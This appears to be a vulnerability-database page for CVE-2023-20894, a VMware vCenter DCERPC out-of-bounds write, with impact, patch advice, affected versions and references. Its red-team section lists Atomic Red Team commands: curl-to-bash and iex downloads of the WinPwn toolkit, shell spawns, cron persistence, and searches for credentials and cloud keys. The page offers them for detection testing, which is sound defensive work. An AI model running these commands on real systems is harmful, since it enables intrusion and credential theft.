CVE-2023-20894
Overview
This vulnerability is an out-of-bounds write flaw occurring within the DCERPC protocol implementation of VMware vCenter Server. The root cause lies in improper bounds checking during packet processing, which allows crafted network packets to overwrite memory outside the intended buffer. The affected component is the DCERPC protocol handler in vCenter Server versions including 7.0 and unspecified others.
Vulnerability Description
The VMware vCenter Server contains an out-of-bounds write vulnerability in the implementation of the DCERPC protocol. A malicious actor with network access to vCenter Server may trigger an out-of-bound write by sending a specially crafted packet leading to memory corruption.
Impact
An unauthenticated attacker with network access to the vCenter Server can exploit this vulnerability to corrupt memory, potentially leading to arbitrary code execution or denial of service. The attack requires no user interaction and leverages network access (AV:N/AC:H/PR:N/UI:N). Successful exploitation can compromise confidentiality, integrity, and availability of the server, enabling full system compromise or disruption of virtualization management services.
Solution
VMware has addressed this vulnerability in advisory VMSA-2023-0014. Administrators should apply the security updates provided for vCenter Server, specifically for version 7.0 and other affected releases as detailed in the advisory. The vendor’s official advisory page (https://www.vmware.com/security/advisories/VMSA-2023-0014.html) contains comprehensive patching instructions and version-specific fixes. No alternative workarounds are documented.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (33)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
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Vmware | Vcenter Server | All |
cpe:2.3:a:vmware:vcenter_server:*:*:*:*:*:*:*:*
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:-:*:*:*:*:*:*
|
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:a:*:*:*:*:*:*
|
|
|
Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:b:*:*:*:*:*:*
|
|
|
Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:c:*:*:*:*:*:*
|
|
|
Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:d:*:*:*:*:*:*
|
|
|
Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:update1:*:*:*:*:*:*
|
|
|
Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:update1a:*:*:*:*:*:*
|
|
|
Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:update1c:*:*:*:*:*:*
|
|
|
Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:update1d:*:*:*:*:*:*
|
|
|
Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:update2:*:*:*:*:*:*
|
|
|
Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:update2a:*:*:*:*:*:*
|
|
|
Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:update2b:*:*:*:*:*:*
|
|
|
Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:update2c:*:*:*:*:*:*
|
|
|
Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:update2d:*:*:*:*:*:*
|
|
|
Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:update3:*:*:*:*:*:*
|
|
|
Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:update3a:*:*:*:*:*:*
|
|
|
Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:update3c:*:*:*:*:*:*
|
|
|
Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:update3d:*:*:*:*:*:*
|
|
|
Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:update3e:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
62 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
echo "#{command}" > /etc/cron.d/#{cron_script_name}
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-20894 |
| vmware.com |
GitHub CVE
|
https://www.vmware.com/security/advisories/VMSA-2023-0014.html |
| talosintelligence.com |
GitHub CVE
|
https://www.talosintelligence.com/vulnerability_reports/TALOS-2022-1658 |